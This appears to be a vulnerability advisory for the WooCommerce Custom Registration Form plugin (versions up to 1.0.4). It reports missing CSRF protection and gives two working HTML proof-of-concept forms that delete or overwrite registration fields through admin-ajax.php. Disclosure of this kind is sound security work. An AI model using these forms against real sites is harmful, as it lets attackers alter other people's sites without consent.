WooCommerce Custom Registration Form <= 1.0.4 – Arbitrary Field Deletion and Form Modification via CSRF

Description

The plugin does not properly check for CSRF in its del_field and save_all_data AJAX actions, allowing attacker to make logged in user call them via a CSRF attack

Proof of Concept

To delete a field from the Registration Form:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="del_field" />
      <input type="hidden" name="field_id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

To change the whole Registration Form:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="fieldlabel[]" value="" />
      <input type="hidden" name="fieldrequired[]" value="0" />
      <input type="hidden" name="fieldhidden[]" value="0" />
      <input type="hidden" name="fieldplaceholder[]" value="" />
      <input type="hidden" name="fieldwidth[]" value="full" />
      <input type="hidden" name="fieldids[]" value="1" />
      <input type="hidden" name="fieldtype" value="text" />
      <input type="hidden" name="type" value="registration" />
      <input type="hidden" name="label" value="Text" />
      <input type="hidden" name="name" value="registration_text" />
      <input type="hidden" name="mode" value="registration_additional" />
      <input type="hidden" name="fieldlabel[]" value="" />
      <input type="hidden" name="fieldrequired[]" value="0" />
      <input type="hidden" name="fieldhide[]" value="0" />
      <input type="hidden" name="fieldplaceholder[]" value="" />
      <input type="hidden" name="fieldwidth[]" value="full" />
      <input type="hidden" name="fieldids[]" value="2" />
      <input type="hidden" name="fieldtype" value="checkbox" />
      <input type="hidden" name="type" value="registration" />
      <input type="hidden" name="label" value="Checkbox" />
      <input type="hidden" name="name" value="registration_checkbox" />
      <input type="hidden" name="mode" value="registration_additional" />
      <input type="hidden" name="fieldlabel[]" value="" />
      <input type="hidden" name="fieldrequired[]" value="0" />
      <input type="hidden" name="fieldhide[]" value="0" />
      <input type="hidden" name="fieldwidth[]" value="full" />
      <input type="hidden" name="fieldplaceholder[]" value="noplaceholder" />
      <input type="hidden" name="fieldids[]" value="3" />
      <input type="hidden" name="action" value="save_all_data" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>